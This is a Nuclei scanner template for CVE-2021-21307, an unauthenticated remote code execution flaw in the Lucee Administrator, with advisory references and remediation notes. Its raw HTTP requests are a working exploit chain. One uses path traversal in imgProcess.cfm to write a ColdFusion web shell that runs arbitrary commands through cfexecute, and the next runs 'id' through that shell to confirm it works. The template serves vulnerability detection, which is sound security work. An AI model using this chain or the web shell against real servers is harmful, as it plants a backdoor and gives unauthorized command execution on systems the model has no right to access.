91 lines
2.9 KiB
YAML
91 lines
2.9 KiB
YAML
id: CVE-2021-21307
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info:
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name: Lucee Admin - Remote Code Execution
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author: dhiyaneshDk
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severity: critical
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description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
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reference:
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- https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
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- https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
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- https://nvd.nist.gov/vuln/detail/CVE-2021-21307
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- http://ciacfug.org/blog/updating-lucee-as-part-of-a-vulnerability-alert-response
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- https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020/7643
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remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-21307
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cwe-id: CWE-862
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epss-score: 0.97319
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cpe: cpe:2.3:a:lucee:lucee_server:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: lucee
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product: lucee_server
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tags: cve,cve2021,rce,lucee,adobe
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http:
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- raw:
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- |
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POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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imgSrc=a
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- |
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POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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imgSrc=
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<cfoutput>
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<table>
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<form method="POST" action="">
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<tr><td>Command:</td><td><input type=test name="cmd" size=50
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<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
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<tr><td>Options:</td><td> <input type=text name="opts" size=50
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<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
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<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
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<cfif isdefined("form.timeout")>value="#form.timeout#"
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<cfelse> value="5"</cfif>></td></tr>
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</table>
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<input type=submit value="Exec" >
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</form>
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<cfif isdefined("form.cmd")>
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<cfsavecontent variable="myVar">
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<cfexecute name = "#Form.cmd#"
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arguments = "#Form.opts#"
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timeout = "#Form.timeout#">
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</cfexecute>
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</cfsavecontent>
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<pre>
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#HTMLCodeFormat(myVar)# </pre> </cfif> </cfoutput>
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- |
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POST /lucee/{{randstr}}.cfm HTTP/1.1
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Host: {{Hostname}}
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Content-Type: application/x-www-form-urlencoded
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cmd=id&opts=&timeout=5
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "uid="
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- "gid="
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- "groups="
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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regex:
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- "(u|g)id=.*"
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